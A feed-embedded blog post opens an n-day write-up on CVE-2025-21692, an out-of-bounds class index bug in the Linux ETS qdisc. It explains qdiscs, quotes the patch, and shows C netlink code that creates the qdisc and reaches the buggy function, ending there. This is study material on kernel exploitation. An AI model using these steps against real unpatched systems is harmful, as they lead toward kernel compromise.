<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://volticks.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://volticks.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2025-09-16T09:05:12+00:00</updated><id>https://volticks.github.io/feed.xml</id><title type="html">P-W-N</title><subtitle>Made with &lt;b style=&quot;color: #f45;&quot;&gt;&amp;lt;3&lt;/b&gt;</subtitle><author><name>volticks</name></author><entry><title type="html">CVE-2025-21692 nday writeup</title><link href="https://volticks.github.io/CVE-2025-21692-nday-writeup/" rel="alternate" type="text/html" title="CVE-2025-21692 nday writeup" /><published>2025-09-14T00:00:00+00:00</published><updated>2025-09-14T00:00:00+00:00</updated><id>https://volticks.github.io/CVE-2025-21692-nday-writeup</id><content type="html" xml:base="https://volticks.github.io/CVE-2025-21692-nday-writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<p>Hi again. Been a minute. 
I’ve been a perpetual novice in the realm of kernel exploitation for far too long, besides a few older CTF challenges I’m almost completely bereft of experience in this area, so I finally decided to start studying some ndays.</p>

<p>I ended up picking a couple bugs, first, a VSOCK UAF - CVE-2025-21756. I chose this to study as it had a (really good, thanks Hoefler) accompanying blog post which I could follow through with and fall back on when I got stuck. I ended up trying to exploit this bug in a different way than was performed in <a href="https://hoefler.dev/articles/vsock.html">Hoefler’s post</a> to test myself. Instead of using pipes, I wanted to use <code class="language-plaintext highlighter-rouge">msg_msg</code>.</p>

<p>This added another layer of difficulty which in turn demanded the use of another bug, <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21692">CVE-2025-21692</a>. This was definitely the most educational part of the process as there was no public exploit for this bug, except a few pocs <a href="https://github.com/Bam0x7/linux-kernel-cve-exploit/blob/main/CVE-2025-21692/poc.c">demonstrating</a> it. I ended up leveraging these bugs together initially, but decided to write an exploit using only 21692.</p>

<p>In this post I’ll go over the process I went through turning this bug into a valuable write primitive, then turning that into RCE. I’ll go over stuff I learned, and difficulties encountered along the way.</p>

<p>But before we start, there’s some “required” knowledge you’ll probably want to know beforehand:</p>
<ul>
  <li>Basic understanding of cross cache and all that entails
    <ul>
      <li><a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary">Kernel heap layout and structure, kmalloc caches, pages etc</a>.</li>
      <li>The more complex stuff we need to do gets explained.</li>
    </ul>
  </li>
  <li>Understanding of kernel security mechanisms
    <ul>
      <li><a href="https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/">KPTI, SMEP, SMAP, etc</a>.</li>
    </ul>
  </li>
</ul>

<p>The exploit can be found <a href="https://github.com/volticks/CVE-2025-21692-poc">here</a> so you can follow along. Lets go.</p>

<h2 id="some-background-on-qdiscs">Some background on qdiscs</h2>

<p>Packet scheduling isn’t something I’ve ever really thought about, despite using Linux for years as a (somewhat) power user (stock ubuntu so I can google all the errors). But if we need to send packets around, there intuitively needs to be some way to stagger the flow, organise, or otherwise schedule them. This is what Qdiscs are for.</p>

<p>Yes, I did think it had something to do with discs when I first saw the term, it does not, however (at least i think so). Instead, a Qdisc is a queueing discipline. Qdisc’s wrap around network interfaces and provide different ways to manage packets. There are many kinds of qdisc’s, some classful and others not, with classful qdiscs allowing traffic to be sorted and filtered into classes.</p>

<p>In order to classify traffic, “filters” are consulted, and are called from within the qdisc itself. These arent too important to understand for this bug, though.</p>

<p>Qdiscs are referred to by a handle - heres a simple example of creating and managing a qdisc:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@pwn:~# tc qdisc add dev lo root netem delay 100ms
root@pwn:~# tc qdisc list
qdisc netem 8001: dev lo root refcnt 2 limit 1000 delay 100ms
root@pwn:~# tc qdisc delete dev lo root
root@pwn:~# tc qdisc list
root@pwn:~# tc qdisc add dev lo root handle 1: netem delay 100ms
root@pwn:~# tc qdisc list
qdisc netem 1: dev lo root refcnt 2 limit 1000 delay 100ms
</code></pre></div></div>

<p>The first command adds a classless netem qdisc to the lo network device, specifying a delay of 100ms. This is the root qdisc, and is the first in the “tree” of qdiscs for a given interface. From here we can list discs, among other things. We can also assign a handle to a qdisc at creation, but one will be assigned for us if not. The netem qdisc specifically allows us to add a delay to outgoing packets on an interface. This adds <a href="https://man7.org/linux/man-pages/man8/tc-netem.8.html#EXAMPLES">100ms + 10ms</a> delay to each packet.</p>

<p>Qdiscs can also have children/leaves. With classful qdiscs it is possible to filter traffic into one class then have a different qdisc manage it from there.</p>

<h2 id="the-bug">The Bug</h2>

<p>Enter stage left, CVE-2025-21692. 
The bug in question is present in the ETS (Enhanced Transmission Selection) qdisc. ETS is classful and gets pretty complicated, as you can imagine. The bug, by comparison is very simple.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">ets_class</span> <span class="o">*</span>
<span class="nf">ets_class_from_arg</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="o">+</span>   <span class="k">if</span> <span class="p">(</span><span class="n">arg</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">arg</span> <span class="o">&gt;</span> <span class="n">q</span><span class="o">-&gt;</span><span class="n">nbands</span><span class="p">)</span>
<span class="o">+</span>   <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="k">return</span> <span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">arg</span> <span class="o">-</span> <span class="mi">1</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As the patch hints, the <code class="language-plaintext highlighter-rouge">arg</code> class id can be 0, and if it is we can probably underflow and read OOB. Theres also a chance we can go higher, if we somehow feed this function an id greater than <code class="language-plaintext highlighter-rouge">nbands</code>.</p>

<p>ETS has a number of bands/classes. Some bands are strict, and others are bandwidth-sharing with strict bands being consulted first when dequeuing packets from the interface, if no packet was dequeued from the strict bands then the others are tried. Bandwidth sharing bands are assigned a “deficit counter” (used as part of the <a href="https://en.wikipedia.org/wiki/Deficit_round_robin">“deficit round robin” algorithm</a>) which is initialized to a “quantum” element, <strong>quant</strong>. Keep this in mind as the <strong>quant</strong> value of a class is probably one of the most important parts of the exploitation process – other than the bug, probably.</p>

<p>I’ll not explain the algorithm and its implementation as it didn’t turn out to be useful or necessary for the exploit. This may or may not be me dodging writing EVEN MORE STUFF but regardless, all that’s needed to know is each band is responsible for an amount of the link rate - the higher the <strong>quant</strong> the more it will handle, to enable this sent packets are enqueued via qdisc specific logic into the interface, and received are dequeued triggering different logic in the qdisc assigned.</p>

<p>If you open the <a href="https://man7.org/linux/man-pages/man8/tc-ets.8.html">man page for ets</a> you may notice a small, interesting section in the description.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       The minor number of classid to use when referring to a band is the
       band number increased by one. Thus band 0 will have classid of
       major:1, band 1 that of major:2, etc.
</code></pre></div></div>
<p>So to get the real band number from a supplied classid, we have to subtract 1. This <em>could</em> indicate just why the bug is here or I could just be throwing stuff at the wall until it sticks, perhaps.</p>

<p>As a sidenote, the kernel version used to make the exploit was 6.6.75, this was due to me using the same kernel to work with through hoefler’s bug. At this point the ets bug had been patched, so I did have to edit my kernel source - just commenting out the check and return null lines.</p>

<h2 id="how-do-we-get-there">How do we get there</h2>

<p>How do we interact with the qdisc so we can get a situation where we have the class id underflow/overflow? As seen previously, there is the <code class="language-plaintext highlighter-rouge">tc</code> command line utility provided by <a href="https://tldp.org/HOWTO/Traffic-Control-HOWTO/software.html">iproute</a>, but we probably want a way of doing this without having to spawn an additional process every time we want to interact with qdiscs – trust me here, as this is the way I had my exploit stitched together for a while. The underlying code for tc uses <a href="https://man7.org/linux/man-pages/man7/netlink.7.html">netlink sockets</a>, these provide an interface which enables us to query and edit network interfaces and other things such as <code class="language-plaintext highlighter-rouge">qdisc</code>s. This setup process is quite easy.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">setup_rtnet</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_nl</span> <span class="o">*</span><span class="n">src_addr</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr_nl</span> <span class="o">*</span><span class="n">dest_addr</span><span class="p">)</span> <span class="p">{</span>

  <span class="kt">int</span> <span class="n">sock_fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">PF_NETLINK</span><span class="p">,</span> <span class="n">SOCK_RAW</span><span class="p">,</span> <span class="n">NETLINK_ROUTE</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">sock_fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">memset</span><span class="p">(</span><span class="n">src_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">src_addr</span><span class="p">));</span>
  <span class="n">src_addr</span><span class="o">-&gt;</span><span class="n">nl_family</span> <span class="o">=</span> <span class="n">AF_NETLINK</span><span class="p">;</span>
  <span class="n">src_addr</span><span class="o">-&gt;</span><span class="n">nl_pid</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span> <span class="cm">/* self pid */</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">bind</span><span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="n">src_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">src_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"setup_rtnet bind"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">memset</span><span class="p">(</span><span class="n">dest_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">dest_addr</span><span class="p">));</span>
  <span class="n">dest_addr</span><span class="o">-&gt;</span><span class="n">nl_family</span> <span class="o">=</span> <span class="n">AF_NETLINK</span><span class="p">;</span>
  <span class="n">dest_addr</span><span class="o">-&gt;</span><span class="n">nl_pid</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>    <span class="cm">/* For Linux Kernel */</span>
  <span class="n">dest_addr</span><span class="o">-&gt;</span><span class="n">nl_groups</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="cm">/* unicast */</span>
  <span class="k">return</span> <span class="n">sock_fd</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Unfortunately for us, interacting with netlink in the way we need to <a href="https://elixir.bootlin.com/linux/v6.6.75/source/net/core/rtnetlink.c#L6390">requires <code class="language-plaintext highlighter-rouge">CAP_NET_ADMIN</code></a> (because we need to do more than <code class="language-plaintext highlighter-rouge">RTNL_KIND_GET</code>), so we will unfortunately have to have unprivileged namespaces enabled. Dubious indeed.</p>

<p>When that devastating news has been grieved over, we can start sending and receiving messages with the kernel. Netlink messages consist of one or many consecutive <code class="language-plaintext highlighter-rouge">struct nlattr</code>s.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 *  &lt;------- NLA_HDRLEN ------&gt; &lt;-- NLA_ALIGN(payload)--&gt;
 * +---------------------+- - -+- - - - - - - - - -+- - -+
 * |        Header       | Pad |     Payload       | Pad |
 * |   (struct nlattr)   | ing |                   | ing |
 * +---------------------+- - -+- - - - - - - - - -+- - -+
 *  &lt;-------------- nlattr-&gt;nla_len --------------&gt;
 */</span>

<span class="k">struct</span> <span class="n">nlattr</span> <span class="p">{</span>
	<span class="n">__u16</span>           <span class="n">nla_len</span><span class="p">;</span>
	<span class="n">__u16</span>           <span class="n">nla_type</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>As the comment says, the payload follows immediately. Length of these messages is padded out to <code class="language-plaintext highlighter-rouge">NLMSG_ALIGN(len_of_msg)</code>. Which for us just means they have to be 4 byte aligned. To get a better idea of what these messages look like, follows is sample code showing how a qdisc can be created through chaining <code class="language-plaintext highlighter-rouge">nlattr</code>s.</p>

<h3 id="netlink-example">Netlink example</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">// ...</span>
  <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
  <span class="n">nlh</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">nlmsghdr</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">NLMSG_SPACE</span><span class="p">(</span><span class="n">MAX_PAYLOAD</span><span class="p">));</span>
  <span class="n">memset</span><span class="p">(</span><span class="n">nlh</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NLMSG_SPACE</span><span class="p">(</span><span class="n">MAX_PAYLOAD</span><span class="p">));</span>
  <span class="n">nlh</span><span class="o">-&gt;</span><span class="n">nlmsg_len</span> <span class="o">=</span> <span class="n">NLMSG_SPACE</span><span class="p">(</span><span class="n">MAX_PAYLOAD</span><span class="p">);</span>
  <span class="n">nlh</span><span class="o">-&gt;</span><span class="n">nlmsg_pid</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
  <span class="n">nlh</span><span class="o">-&gt;</span><span class="n">nlmsg_type</span> <span class="o">=</span> <span class="n">RTM_NEWQDISC</span><span class="p">;</span>
  <span class="n">nlh</span><span class="o">-&gt;</span><span class="n">nlmsg_flags</span> <span class="o">=</span> <span class="n">NLM_F_REQUEST</span> <span class="o">|</span> <span class="n">NLM_F_CREATE</span><span class="p">;</span>
</code></pre></div></div>

<p>We allocate space for the nlmsg and header, specifically requesting the max space – which we never get even close to using (wasteful ikr). The <code class="language-plaintext highlighter-rouge">NLMSG_SPACE</code> macro ensures the size reserved is aligned correctly for our chain of messages. We then fill in fields, specifying in <code class="language-plaintext highlighter-rouge">type</code> that we want to create a new qdisc. We then fill in a couple of flag fields, <code class="language-plaintext highlighter-rouge">NLM_F_CREATE</code> specifying that yes we do in fact want an entirely new qdisc, and dont want to replace one already existing, because we dont want your dusty ol’ disc. The netlink manual is very very specific about the use of <code class="language-plaintext highlighter-rouge">NLM_F_REQUEST</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       NLM_F_REQUEST           Must be set on all request messages.
</code></pre></div></div>

<p>So we’ll follow along, I guess &gt;:(. Next we get a bit more specific to the task at hand.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">struct</span> <span class="n">tcmsg</span> <span class="n">tc</span><span class="p">;</span>
  <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tc</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">tc</span><span class="p">));</span>
  <span class="c1">// Handle is formatted with qdisc id at start, 1 *should* be root qdisc.</span>
  <span class="kt">uint32_t</span> <span class="n">clid</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
  <span class="c1">// [2]</span>
  <span class="n">tc</span><span class="p">.</span><span class="n">tcm_family</span> <span class="o">=</span> <span class="n">TCA_UNSPEC</span><span class="p">;</span>
  <span class="n">tc</span><span class="p">.</span><span class="n">tcm_handle</span> <span class="o">=</span> <span class="p">(</span><span class="n">hnd</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">|</span> <span class="n">clid</span><span class="p">;</span>
  <span class="n">tc</span><span class="p">.</span><span class="n">tcm_parent</span> <span class="o">=</span> <span class="n">g_parent</span><span class="p">;</span>
  <span class="n">tc</span><span class="p">.</span><span class="n">tcm_ifindex</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
  <span class="n">g_parent</span> <span class="o">=</span> <span class="n">TC_H_ROOT</span><span class="p">;</span>
  <span class="n">memcpy</span><span class="p">(</span><span class="n">NLMSG_DATA</span><span class="p">(</span><span class="n">nlh</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">tc</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">tc</span><span class="p">));</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">tcmsg</code>s as you can imaging are for interfacing with traffic control, so fairly important. <code class="language-plaintext highlighter-rouge">tcm_handle</code> needs to match the handle of an existing qdisc normally, but since we’re adding a new one it can be whatever we want. <code class="language-plaintext highlighter-rouge">ifindex</code> references the interface we are operating on – loopback for us, and <code class="language-plaintext highlighter-rouge">parent</code> is simply the handle of our great progenitor, which is <code class="language-plaintext highlighter-rouge">TC_H_ROOT</code> for us as we have no mum. Real chicken and egg situation there.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x300</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
  <span class="c1">// [3]</span>
  <span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">attr</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_type</span> <span class="o">=</span> <span class="n">TCA_KIND</span><span class="p">;</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="n">NLA_HDRLEN</span> <span class="o">+</span> <span class="mi">3</span><span class="p">;</span>
  <span class="n">strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"ets"</span><span class="p">);</span>
  <span class="n">attr</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">attr</span><span class="p">)</span> <span class="o">+</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">));</span>
  <span class="c1">// [4]</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_type</span> <span class="o">=</span> <span class="n">TCA_OPTIONS</span> <span class="o">|</span> <span class="n">NLA_F_NESTED</span><span class="p">;</span>
  <span class="c1">// Will be filled in later</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">options</span> <span class="o">=</span> <span class="n">attr</span><span class="p">;</span>
  <span class="n">attr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_type</span> <span class="o">=</span> <span class="n">TCA_ETS_NBANDS</span><span class="p">;</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="n">NLA_HDRLEN</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
  <span class="n">totlen</span> <span class="o">+=</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">attr</span><span class="p">)</span> <span class="o">+</span> <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">);</span>
</code></pre></div></div>

<p>Here comes the real meat &amp; potatoes; our attributes. First up is qdisc kind, of course ets. Then <code class="language-plaintext highlighter-rouge">TCA_OPTIONS</code> which stores qdisc specific <code class="language-plaintext highlighter-rouge">nlattr</code> fields in nested within, the first field being <code class="language-plaintext highlighter-rouge">nbands</code> which in our case is sort of arbitrary as nothing we do depends on the number of bands, as long as we have at least 1, anyway.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">attr</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">attr</span><span class="p">)</span> <span class="o">+</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">));</span>

  <span class="c1">// [5]</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_type</span> <span class="o">=</span> <span class="n">TCA_ETS_PRIOMAP</span> <span class="o">|</span> <span class="n">NLA_F_NESTED</span><span class="p">;</span>
  <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="n">NLA_HDRLEN</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">priomap</span> <span class="o">=</span> <span class="n">attr</span><span class="p">;</span>
  <span class="n">attr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

  <span class="kt">int</span> <span class="n">start_band</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">start_band</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_type</span> <span class="o">=</span> <span class="n">TCA_ETS_PRIOMAP_BAND</span><span class="p">;</span>
    <span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="n">NLA_HDRLEN</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">=</span> <span class="n">start_band</span><span class="p">;</span>
    <span class="n">priomap</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">+=</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">);</span>
    <span class="n">attr</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">attr</span><span class="p">)</span> <span class="o">+</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">attr</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">));</span>
    <span class="n">start_band</span><span class="o">--</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>What follows is the priomap for each band, simply a nested list of uint8.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">// [6]</span>
  <span class="n">totlen</span> <span class="o">+=</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">priomap</span><span class="o">-&gt;</span><span class="n">nla_len</span><span class="p">);</span>
  <span class="n">options</span><span class="o">-&gt;</span><span class="n">nla_len</span> <span class="o">=</span> <span class="n">NLA_ALIGN</span><span class="p">(</span><span class="n">totlen</span><span class="p">);</span>
  <span class="n">memcpy</span><span class="p">(</span><span class="n">NLMSG_DATA</span><span class="p">(</span><span class="n">nlh</span><span class="p">)</span> <span class="o">+</span> <span class="n">NLMSG_ALIGN</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">tc</span><span class="p">)),</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
  <span class="c1">// ...</span>
</code></pre></div></div>

<p>Finally we make sure the total length is correct and we are ready to go! Copying the data into the nlmsg payload after the tcmsg. This then gets sent away to the kernel. All netlink communications we do follow this pattern, seems easy, but oh my god did I have trouble getting the sizes and alignment right, hence the extremely ugly pointer arithmetic - skill issue.</p>

<h3 id="thats-what-i-call-real-quantum-computing">That’s what I call REAL Quantum Computing</h3>

<p>After the qdisc is added, triggering the bug is also quite simple. Sending a <code class="language-plaintext highlighter-rouge">nlmsg</code> of type <code class="language-plaintext highlighter-rouge">RTM_NEWTCLASS</code> and flags <code class="language-plaintext highlighter-rouge">NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ECHO</code> (see <code class="language-plaintext highlighter-rouge">get_quant</code> function in the exploit) leads us down the following call chain to <code class="language-plaintext highlighter-rouge">ets_class_change</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netlink_sendmsg
	netlink_unicast
		rtnetlink_rcv
			netlink_rcv_skb
				rtnetlink_rcv_msg
					tc_ctl_tclass
						ets_class_change
</code></pre></div></div>

<p>Here the buggy utility function makes an appearance at [1]:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">ets_class_change</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="n">u32</span> <span class="n">classid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">parentid</span><span class="p">,</span>
			    <span class="k">struct</span> <span class="n">nlattr</span> <span class="o">**</span><span class="n">tca</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="n">arg</span><span class="p">,</span>
			    <span class="k">struct</span> <span class="n">netlink_ext_ack</span> <span class="o">*</span><span class="n">extack</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">// [1]</span>
	<span class="k">struct</span> <span class="n">ets_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="n">ets_class_from_arg</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="o">*</span><span class="n">arg</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">ets_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">opt</span> <span class="o">=</span> <span class="n">tca</span><span class="p">[</span><span class="n">TCA_OPTIONS</span><span class="p">];</span>
	<span class="k">struct</span> <span class="n">nlattr</span> <span class="o">*</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_ETS_MAX</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">quantum</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">err</span><span class="p">;</span>

	<span class="cm">/* Classes can be added and removed only through Qdisc_ops.change
	 * interface.
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cl</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">NL_SET_ERR_MSG</span><span class="p">(</span><span class="n">extack</span><span class="p">,</span> <span class="s">"Fine-grained class addition and removal is not supported"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="n">EOPNOTSUPP</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">opt</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">NL_SET_ERR_MSG</span><span class="p">(</span><span class="n">extack</span><span class="p">,</span> <span class="s">"ETS options are required for this operation"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">err</span> <span class="o">=</span> <span class="n">nla_parse_nested</span><span class="p">(</span><span class="n">tb</span><span class="p">,</span> <span class="n">TCA_ETS_MAX</span><span class="p">,</span> <span class="n">opt</span><span class="p">,</span> <span class="n">ets_class_policy</span><span class="p">,</span> <span class="n">extack</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">err</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_ETS_QUANTA_BAND</span><span class="p">])</span>
		<span class="cm">/* Nothing to configure. */</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

